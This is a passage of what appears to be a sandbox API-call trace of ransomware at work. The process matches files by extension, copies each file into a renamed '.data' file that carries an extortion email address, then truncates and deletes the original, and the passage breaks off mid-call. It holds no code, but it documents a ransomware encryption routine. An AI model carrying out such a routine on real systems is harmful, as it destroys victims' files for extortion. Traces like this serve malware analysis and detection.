[0084.936] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.936] lstrlenW (lpString=".rar") returned 4 [0084.936] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString=".bz2") returned 4 [0084.936] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString=".7z") returned 3 [0084.936] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.937] lstrlenW (lpString=".dbf") returned 4 [0084.937] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.937] lstrlenW (lpString=".1cd") returned 4 [0084.937] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.937] lstrlenW (lpString=".jpg") returned 4 [0084.937] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.937] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0084.937] lstrlenW (lpString="auxpad.xml") returned 10 [0084.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.939] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=212) returned 1 [0084.939] CloseHandle (hObject=0x20c) returned 1 [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0084.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0084.942] lstrlenW (lpString=".doc") returned 4 [0084.942] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.943] lstrlenW (lpString=".docx") returned 5 [0084.943] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0084.943] lstrlenW (lpString=".pdf") returned 4 [0084.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.943] lstrlenW (lpString=".xls") returned 4 [0084.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.943] lstrlenW (lpString=".xlsx") returned 5 [0084.943] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0084.943] lstrlenW (lpString=".ppt") returned 4 [0084.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0084.943] lstrlenW (lpString=".zip") returned 4 [0084.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.943] lstrlenW (lpString=".rar") returned 4 [0084.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.943] lstrlenW (lpString=".bz2") returned 4 [0084.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.943] lstrlenW (lpString=".7z") returned 3 [0084.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0084.943] lstrlenW (lpString=".dbf") returned 4 [0084.943] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.635] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.635] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0088.635] GetLastError () returned 0x0 [0088.636] ReadFile (in: hFile=0x20c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x545, lpOverlapped=0x0) returned 1 [0088.644] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x550, lpOverlapped=0x0) returned 1 [0088.645] ReadFile (in: hFile=0x20c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0088.645] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xee, lpOverlapped=0x0) returned 1 [0088.645] SetEndOfFile (hFile=0x1ac) returned 1 [0088.646] CloseHandle (hObject=0x1ac) returned 1 [0088.647] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.647] SetEndOfFile (hFile=0x20c) returned 1 [0088.648] CloseHandle (hObject=0x20c) returned 1 [0088.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0088.649] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0088.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.650] lstrlenW (lpString=".doc") returned 4 [0088.650] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0088.650] lstrlenW (lpString=".docx") returned 5 [0088.650] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0088.650] lstrlenW (lpString=".pdf") returned 4 [0088.650] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0088.650] lstrlenW (lpString=".xls") returned 4 [0088.650] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0088.650] lstrlenW (lpString=".xlsx") returned 5 [0088.650] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0088.650] lstrlenW (lpString=".ppt") returned 4 [0088.651] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0088.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.651] lstrlenW (lpString=".zip") returned 4 [0088.651] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0088.651] lstrlenW (lpString=".rar") returned 4 [0088.651] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0088.651] lstrlenW (lpString=".bz2") returned 4 [0088.651] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0088.651] lstrlenW (lpString=".7z") returned 3 [0088.651] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0088.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.651] lstrlenW (lpString=".dbf") returned 4 [0088.652] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0088.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.652] lstrlenW (lpString=".1cd") returned 4 [0088.652] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0088.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.652] lstrlenW (lpString=".jpg") returned 4 [0088.652] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0088.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.652] lstrlenW (lpString=".doc") returned 4 [0088.652] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0088.652] lstrlenW (lpString=".docx") returned 5 [0088.652] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0088.653] lstrlenW (lpString=".pdf") returned 4 [0088.653] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0088.653] lstrlenW (lpString=".xls") returned 4 [0088.653] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0088.653] lstrlenW (lpString=".xlsx") returned 5 [0088.653] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0088.653] lstrlenW (lpString=".ppt") returned 4 [0088.653] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0088.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.653] lstrlenW (lpString=".zip") returned 4 [0088.654] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0088.654] lstrlenW (lpString=".rar") returned 4 [0088.654] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0088.654] lstrlenW (lpString=".bz2") returned 4 [0088.654] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0088.654] lstrlenW (lpString=".7z") returned 3 [0088.654] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0088.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.654] lstrlenW (lpString=".dbf") returned 4 [0088.654] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0088.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.654] lstrlenW (lpString=".1cd") returned 4 [0088.654] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0088.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0088.654] lstrlenW (lpString=".jpg") returned 4 [0088.654] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0088.655] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0088.655] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0088.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.656] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=819) returned 1 [0088.657] CloseHandle (hObject=0x20c) returned 1 [0088.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0088.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.657] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.657] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0088.658] GetLastError () returned 0x0 [0088.658] ReadFile (in: hFile=0x20c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x333, lpOverlapped=0x0) returned 1 [0088.660] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x340, lpOverlapped=0x0) returned 1 [0088.661] ReadFile (in: hFile=0x20c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0088.661] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0088.661] SetEndOfFile (hFile=0x1ac) returned 1 [0088.662] CloseHandle (hObject=0x1ac) returned 1 [0088.665] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.665] SetEndOfFile (hFile=0x20c) returned 1 [0088.666] CloseHandle (hObject=0x20c) returned 1 [0088.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0088.667] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0088.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.667] lstrlenW (lpString=".doc") returned 4 [0088.667] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0088.668] lstrlenW (lpString=".docx") returned 5 [0088.668] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0088.668] lstrlenW (lpString=".pdf") returned 4 [0088.668] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0088.668] lstrlenW (lpString=".xls") returned 4 [0088.668] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0088.668] lstrlenW (lpString=".xlsx") returned 5 [0088.668] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0088.668] lstrlenW (lpString=".ppt") returned 4 [0088.668] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0088.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.668] lstrlenW (lpString=".zip") returned 4 [0088.668] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0088.668] lstrlenW (lpString=".rar") returned 4 [0088.668] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0088.668] lstrlenW (lpString=".bz2") returned 4 [0088.669] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0088.669] lstrlenW (lpString=".7z") returned 3 [0088.669] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0088.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.669] lstrlenW (lpString=".dbf") returned 4 [0088.669] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0088.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.669] lstrlenW (lpString=".1cd") returned 4 [0088.669] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0088.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.669] lstrlenW (lpString=".jpg") returned 4 [0088.669] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0088.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.669] lstrlenW (lpString=".doc") returned 4 [0088.669] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0088.669] lstrlenW (lpString=".docx") returned 5 [0088.669] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0088.669] lstrlenW (lpString=".pdf") returned 4 [0088.670] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString=".xls") returned 4 [0088.670] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString=".xlsx") returned 5 [0088.670] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0088.670] lstrlenW (lpString=".ppt") returned 4 [0088.670] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.670] lstrlenW (lpString=".zip") returned 4 [0088.670] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0088.670] lstrlenW (lpString=".rar") returned 4 [0088.670] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString=".bz2") returned 4 [0088.670] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString=".7z") returned 3 [0088.670] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0088.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.670] lstrlenW (lpString=".dbf") returned 4 [0088.670] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.670] lstrlenW (lpString=".1cd") returned 4 [0088.670] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0088.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0088.670] lstrlenW (lpString=".jpg") returned 4 [0088.671] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0088.671] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0088.671] lstrlenW (lpString="SETUP.XML") returned 9 [0088.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0089.133] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=2624) returned 1 [0089.133] CloseHandle (hObject=0x1fc) returned 1 [0089.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0089.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0089.133] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.133] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0089.134] GetLastError () returned 0x0 [0089.134] ReadFile (in: hFile=0x1fc, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0xa40, lpOverlapped=0x0) returned 1 [0089.171] WriteFile (in: hFile=0x21c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0089.173] ReadFile (in: hFile=0x1fc, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.173] WriteFile (in: hFile=0x21c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0089.173] SetEndOfFile (hFile=0x21c) returned 1 [0089.173] CloseHandle (hObject=0x21c) returned 1 [0089.174] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.174] SetEndOfFile (hFile=0x1fc) returned 1 [0089.175] CloseHandle (hObject=0x1fc) returned 1 [0089.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0089.176] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0089.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.177] lstrlenW (lpString=".doc") returned 4 [0089.177] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.177] lstrlenW (lpString=".docx") returned 5 [0089.177] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.177] lstrlenW (lpString=".pdf") returned 4 [0089.177] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.177] lstrlenW (lpString=".xls") returned 4 [0089.177] lstrcmpiW (lpString1=".xls", 